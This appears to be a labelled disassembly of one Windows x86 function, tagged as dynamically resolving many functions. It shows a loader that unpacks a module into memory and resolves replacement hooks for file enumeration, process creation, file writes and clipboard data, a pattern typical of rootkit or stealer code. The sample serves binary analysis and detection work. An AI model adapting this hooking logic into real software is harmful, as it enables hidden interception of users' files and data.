Function at 0x4011e7
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [0x41d3f0], 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x41d3f8], eax
push 0x417060
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40135d
push str.CreateProcessA
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d42c], eax
push str.CreateProcessW
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d438], eax
push 0x417090
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d43c], eax
push 0x4170a0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d430], eax
push 0x4170b0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d428], eax
push 0x4170bc
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d434], eax
push 0x4170c8
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d420], eax
push 0x4170d0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d414], eax
push 0x4170d8
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d410], eax
push 0x4170e0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d41c], eax
push 0x4170ec
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d418], eax
cmp dword [0x41d4e4], 0
je 0x401351
push 0x4170f8
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d404], eax
push str.LoadLibraryW
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d400], eax
push 0x417118
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d40c], eax
push 0x41712c
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d408], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x401364
xor eax, eax
jmp 0x4016a3
push 0x417140
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401398
push 0x41714c
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41d424], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x40139f
xor eax, eax
jmp 0x4016a3
push 4
push 0x1000
push 0xc800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x41d4d8], eax
mov eax, dword [0x41d4d8]
push eax
push 0x412040
call fcn.00407e90
add esp, 8
mov dword [0x41d3f4], eax
mov dword [0x41d4d4], 0
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x41d4d8]
push edx
call fcn.00401a58
add esp, 8
test eax, eax
jne 0x4013ff
xor eax, eax
jmp 0x4016a3
push str.NewFindNextFileW
mov eax, dword [0x41d4d4]
push eax
call fcn.00402327
add esp, 8
mov dword [0x41d484], eax
push str.NewFindNextFileA
mov ecx, dword [0x41d4d4]
push ecx
call fcn.00402327
add esp, 8
mov dword [0x41d478], eax
push str.NewCreateProcessW
mov edx, dword [0x41d4d4]
push edx
call fcn.00402327
add esp, 8
mov dword [0x41d480], eax
push str.NewCreateProcessA
mov eax, dword [0x41d4d4]
push eax
call fcn.00402327
add esp, 8
mov dword [0x41d474], eax
push str.NewCreateFileW
mov ecx, dword [0x41d4d4]
push ecx
call fcn.00402327
add esp, 8
mov dword [0x41d47c], eax
push str.NewCreateFileA
mov edx, dword [0x41d4d4]
push edx
call fcn.00402327
add esp, 8
mov dword [0x41d470], eax
push str.NewSetClipboardData
mov eax, dword [0x41d4d4]
push eax
call fcn.00402327
add esp, 8
mov dword [0x41d46c], eax
push str.Newlopen
mov ecx, dword [0x41d4d4]
push ecx
call fcn.00402327
add esp, 8
mov dword [0x41d468], eax
push str.New_lwrite
mov edx, dword [0x41d4d4]
push edx
call fcn.00402327
add esp, 8
mov dword [0x41d450], eax
push str.New_lcreat
mov eax, dword [0x41d4d4]
push eax
call fcn.00402327
add esp, 8
mov dword [0x41d454], eax
push str.NewCreateFileW_2
mov ecx, dword [0x41d4d4]
push ecx
call fcn.00402327
add esp, 8
mov dword [0x41d464], eax
push str.NewCreateFileA_2
mov edx, dword [0x41d4d4]
push edx
call fcn.00402327
add esp, 8
mov dword [0x41d460], eax
push str.NewWriteFile
mov eax, dword [0x41d4d4]
push eax
call fcn.00402327
add esp, 8
mov dword [0x41d45c], eax
push str.NewWriteFileEx
mov ecx, dword [0x41d4d4]
push ecx
call fcn.00402327
add esp, 8
mov dword [0x41d458], eax
cmp dword [0x41d4e4], 0
je 0x4015c4
push str.NewLoadLibraryA
mov edx, dword [0x41d4d4]
push edx
call fcn.00402327
add esp, 8
mov dword [0x41d444], eax
push str.NewLoadLibraryW
mov eax, dword [0x41d4d4]
push eax
call fcn.00402327
add esp, 8
mov dword [0x41d440], eax
push 0x417270
mov ecx, dword [0x41d4d4]
push ecx
call fcn.00402327
add esp, 8
mov dword [0x41d448], eax
push str.NewGetModuleFileNameW
mov edx, dword [0x41d4d4]
push edx
call fcn.00402327
add esp, 8
mov dword [0x41d448], eax
cmp dword [0x41d484], 0
je 0x401642
cmp dword [0x41d478], 0
je 0x401642
cmp dword [0x41d480], 0
je 0x401642
cmp dword [0x41d474], 0
je 0x401642
cmp dword [0x41d47c], 0
je 0x401642
cmp dword [0x41d470], 0
je 0x401642
cmp dword [0x41d46c], 0
je 0x401642
cmp dword [0x41d468], 0
je 0x401642
cmp dword [0x41d464], 0
je 0x401642
cmp dword [0x41d460], 0
je 0x401642
cmp dword [0x41d450], 0
je 0x401642
cmp dword [0x41d454], 0
je 0x401642
cmp dword [0x41d45c], 0
je 0x401642
cmp dword [0x41d458], 0
jne 0x401659
push 0x8000
push 0
mov eax, dword [0x41d4d4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x4016a3
cmp dword [0x41d4e4], 0
je 0x40169e
cmp dword [0x41d444], 0
je 0x401686
cmp dword [0x41d440], 0
je 0x401686
cmp dword [0x41d448], 0
je 0x401686
cmp dword [0x41d448], 0
jne 0x40169e
push 0x8000
push 0
mov ecx, dword [0x41d4d4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x4016a3
mov eax, 1
mov esp, ebp
pop ebp
ret